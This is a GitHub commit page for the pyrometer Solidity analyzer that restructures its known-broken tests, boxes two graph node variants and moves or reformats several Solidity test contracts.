Skip to content

Commit

Permalink
restructure broken tests
Browse files Browse the repository at this point in the history
  • Loading branch information
brockelmore committed Jul 22, 2024
1 parent 38c69f7 commit 35e0232
Show file tree
Hide file tree
Showing 16 changed files with 148 additions and 150 deletions.
4 changes: 2 additions & 2 deletions crates/graph/src/graph_elements.rs
Original file line number Diff line number Diff line change
Expand Up @@ -99,9 +99,9 @@ pub enum Node {
/// A concrete value (i.e. '1' or '0x111')
Concrete(Concrete),
/// The `msg` global in solidity
Msg(Msg),
Msg(Box<Msg>),
/// The `block` global in solidity
Block(Block),
Block(Box<Block>),
/// A yul-based function
YulFunction(YulFunction),
// TODO: Handle events
Expand Down
20 changes: 0 additions & 20 deletions crates/graph/src/nodes/context/variables.rs
Original file line number Diff line number Diff line change
Expand Up @@ -433,26 +433,6 @@ impl ContextNode {
}
}

// /// Pop the latest expression return off the stack
// #[tracing::instrument(level = "trace", skip_all)]
// pub fn pop_expr_latest(
// &self,
// loc: Loc,
// analyzer: &mut impl AnalyzerBackend,
// ) -> Result<Option<ExprRet>, GraphError> {
// let underlying_mut = self.underlying_mut(analyzer)?;
// if let Some(elem) = underlying_mut.expr_ret_stack.pop() {
// tracing::trace!(
// "popping var {} from: {}",
// elem.debug_str(analyzer),
// self.path(analyzer)
// );
// Ok(Some(self.maybe_move_expr(elem, loc, analyzer)?))
// } else {
// Ok(None)
// }
// }

pub fn pop_n_latest_exprs(
&self,
n: usize,
Expand Down
1 change: 0 additions & 1 deletion crates/graph/src/range/elem/expr/collapse.rs
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,6 @@ pub fn collapse(
};

if let Some(e) = ident_rules(&l, op, &r, arena) {
println!("ident rules return");
return MaybeCollapsed::Collapsed(e);
}

Expand Down
4 changes: 2 additions & 2 deletions crates/pyrometer/src/analyzer.rs
Original file line number Diff line number Diff line change
Expand Up @@ -198,8 +198,8 @@ impl Default for Analyzer {

let msg = Msg::default();
let block = Block::default();
let msg = a.graph.add_node(Node::Msg(msg)).into();
let block = a.graph.add_node(Node::Block(block)).into();
let msg = a.graph.add_node(Node::Msg(Box::new(msg))).into();
let block = a.graph.add_node(Node::Block(Box::new(block))).into();
a.msg = msg;
a.block = block;
a.entry = a.add_node(Node::Entry);
Expand Down
9 changes: 9 additions & 0 deletions crates/pyrometer/tests/helpers.rs
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,15 @@ pub fn assert_no_parse_errors(path_str: String) {
);
}

pub fn assert_has_parse_or_panic_errors(path_str: String) {
let panics = std::panic::catch_unwind(|| assert_no_parse_errors(path_str.clone())).is_err();
assert!(
panics,
"Supposedly broken file did not encounter parse errors or panic in {}",
path_str
);
}

pub fn assert_no_ctx_killed(path_str: String, sol: &str) {
let mut analyzer = Analyzer::default();
let mut arena_base = Default::default();
Expand Down
11 changes: 7 additions & 4 deletions crates/pyrometer/tests/no_killed_ctxs.rs
Original file line number Diff line number Diff line change
Expand Up @@ -240,12 +240,15 @@ fn test_variable() {
}

#[test]
#[should_panic]
fn test_broken() {
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
let path_str = format!("{manifest_dir}/tests/test_data/broken.sol");
let sol = include_str!("./test_data/broken.sol");
assert_no_ctx_killed(path_str, sol);
let path_str = format!("{manifest_dir}/tests/test_data/broken/");
let paths = std::fs::read_dir(path_str).unwrap();
for path in paths {
let path_str = path.unwrap().path().display().to_string();
println!("checking parse errors in: {path_str}");
assert_has_parse_or_panic_errors(path_str);
}
}

#[test]
Expand Down
80 changes: 80 additions & 0 deletions crates/pyrometer/tests/test_data/broken/delete.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
// SPDX-License-Identifier: MIT or APACHE2
pragma solidity ^0.8.0;

// Merge into delete.sol when fixed
contract ComplexDelete {
struct ContactInfo {
string email;
string phone;
}

struct Address {
string street;
string city;
string country;
uint256 postalCode;
}

struct Employment {
string company;
string position;
uint256 startDate;
uint256 endDate;
}

struct Education {
string institution;
string degree;
uint256 graduationYear;
}

struct User {
uint256 id;
string name;
ContactInfo contactInfo;
Address[] addresses;
Employment[] employmentHistory;
Education[] educationHistory;
mapping(string => bool) preferences;
}

mapping(uint256 => User) public users;
uint256[] public userIds;

function deleteUserAddress(uint256 userId, uint256 addressIndex) public {
require(
addressIndex < users[userId].addresses.length,
"Address index out of bounds"
);
users[userId].addresses[addressIndex] = users[userId].addresses[
users[userId].addresses.length - 1
];
users[userId].addresses.pop();
}

function deleteEmploymentHistory(
uint256 userId,
uint256 employmentIndex
) public {
require(
employmentIndex < users[userId].employmentHistory.length,
"Employment index out of bounds"
);
users[userId].employmentHistory[employmentIndex] = users[userId]
.employmentHistory[users[userId].employmentHistory.length - 1];
users[userId].employmentHistory.pop();
}

function deleteEducationHistory(
uint256 userId,
uint256 educationIndex
) public {
require(
educationIndex < users[userId].educationHistory.length,
"Education index out of bounds"
);
users[userId].educationHistory[educationIndex] = users[userId]
.educationHistory[users[userId].educationHistory.length - 1];
users[userId].educationHistory.pop();
}
}
Original file line number Diff line number Diff line change
@@ -1,26 +1,8 @@
// SPDX-License-Identifier: MIT or APACHE2
// Move to require_with_killed.sol when fixed
// Note: I've added broken@brock comments to the issues i know of
pragma solidity ^0.8.0;

/////// This block of code will live in variable.sol when fixed ///////////
contract B {
struct A {
address a;
}
}

contract A is B {
A a; // contract A

function return_struct() external returns (A memory) {
// a is of type B.A, *not* Contract::A
a = A(address(this));
return a;
}
}

//////////////////////////////////////////////////////////////

///////// This whole contract will live in require_with_killed.sol when fixed ///////////
// Note: I've added broken@brock comments to the issues i know of
contract RequireWithKilled {
uint public count = 0;
uint storeRange = 0;
Expand Down Expand Up @@ -187,84 +169,3 @@ contract RequireWithKilled {
return returnValue;
}
}

/////////////////////////////////////////////////////////////////

////// This contract's functions will be merged into delete.sol when fixed ///////////
contract ComplexDelete {
struct ContactInfo {
string email;
string phone;
}

struct Address {
string street;
string city;
string country;
uint256 postalCode;
}

struct Employment {
string company;
string position;
uint256 startDate;
uint256 endDate;
}

struct Education {
string institution;
string degree;
uint256 graduationYear;
}

struct User {
uint256 id;
string name;
ContactInfo contactInfo;
Address[] addresses;
Employment[] employmentHistory;
Education[] educationHistory;
mapping(string => bool) preferences;
}

mapping(uint256 => User) public users;
uint256[] public userIds;

function deleteUserAddress(uint256 userId, uint256 addressIndex) public {
require(
addressIndex < users[userId].addresses.length,
"Address index out of bounds"
);
users[userId].addresses[addressIndex] = users[userId].addresses[
users[userId].addresses.length - 1
];
users[userId].addresses.pop();
}

function deleteEmploymentHistory(
uint256 userId,
uint256 employmentIndex
) public {
require(
employmentIndex < users[userId].employmentHistory.length,
"Employment index out of bounds"
);
users[userId].employmentHistory[employmentIndex] = users[userId]
.employmentHistory[users[userId].employmentHistory.length - 1];
users[userId].employmentHistory.pop();
}

function deleteEducationHistory(
uint256 userId,
uint256 educationIndex
) public {
require(
educationIndex < users[userId].educationHistory.length,
"Education index out of bounds"
);
users[userId].educationHistory[educationIndex] = users[userId]
.educationHistory[users[userId].educationHistory.length - 1];
users[userId].educationHistory.pop();
}
}
/////////////////////////////////////////////////////////////////
42 changes: 34 additions & 8 deletions crates/pyrometer/tests/test_data/repros/overflow.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,29 +2,55 @@ pragma solidity ^0.8.18;

interface IUniswapV2Router {
function factory() external pure returns (address);

function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256,
uint256,
address[] calldata path,
address,
uint256
) external;
}

interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}

abstract contract Ownable {
address private _owner;
}

abstract contract ERC20Token is Ownable {
address uniswapV2Pair;
}

contract Contract is ERC20Token {
mapping (address => uint256) private _balances;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
mapping(address => uint256) private _balances;
IUniswapV2Router private _router =
IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function getReflectAmount(address from) private view returns (uint256) {
address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
address to = IUniswapV2Factory(_router.factory()).getPair(
address(this),
_router.WETH()
);
return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
}
function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {

function getReflectTokensAmount(
address uniswapV2Pair,
address recipient,
uint256 feeAmount
) private pure returns (uint256) {
uint256 amount = feeAmount;
uint256 minSupply = 0;
if (uniswapV2Pair != recipient) {
Expand All @@ -34,4 +60,4 @@ contract Contract is ERC20Token {
}
return amount;
}
}
}
5 changes: 5 additions & 0 deletions crates/pyrometer/tests/test_data/todo.sol
Original file line number Diff line number Diff line change
@@ -1,16 +1,21 @@
// SPDX-License-Identifier: MIT or APACHE2
pragma solidity ^0.8.0;

contract Todo {
// will live in env.sol when added
function env() public view {
bytes32 b = blobhash(1);
uint d = block.blobbasefee;
b;
d;
}

// will live in assign.sol when added
function array_literals() public pure {
uint[2] memory a = [uint(1), uint(2)];
uint[2] memory b = [uint(3), uint(4)];
a;
b;
}

// will live in assign.sol when added
Expand Down
2 changes: 1 addition & 1 deletion crates/pyrometer/tests/test_data/variable.sol
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ contract Variable {
return a_user_type.aUserType;
}

function a_user_type_storage() public returns (uint) {
function a_user_type_storage() public view returns (uint) {
aUserType storage a_user_type = a_user_type;
return a_user_type.aUserType;
}
Expand Down
2 changes: 1 addition & 1 deletion crates/solc-expressions/src/cmp.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ use graph::{
BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet,
TmpConstruction,
},
AnalyzerBackend, Range, SolcRange, VarType,
AnalyzerBackend, SolcRange, VarType,
};
use shared::{ExprErr, IntoExprErr, RangeArena};

Expand Down
Loading

0 comments on commit 35e0232

Please sign in to comment.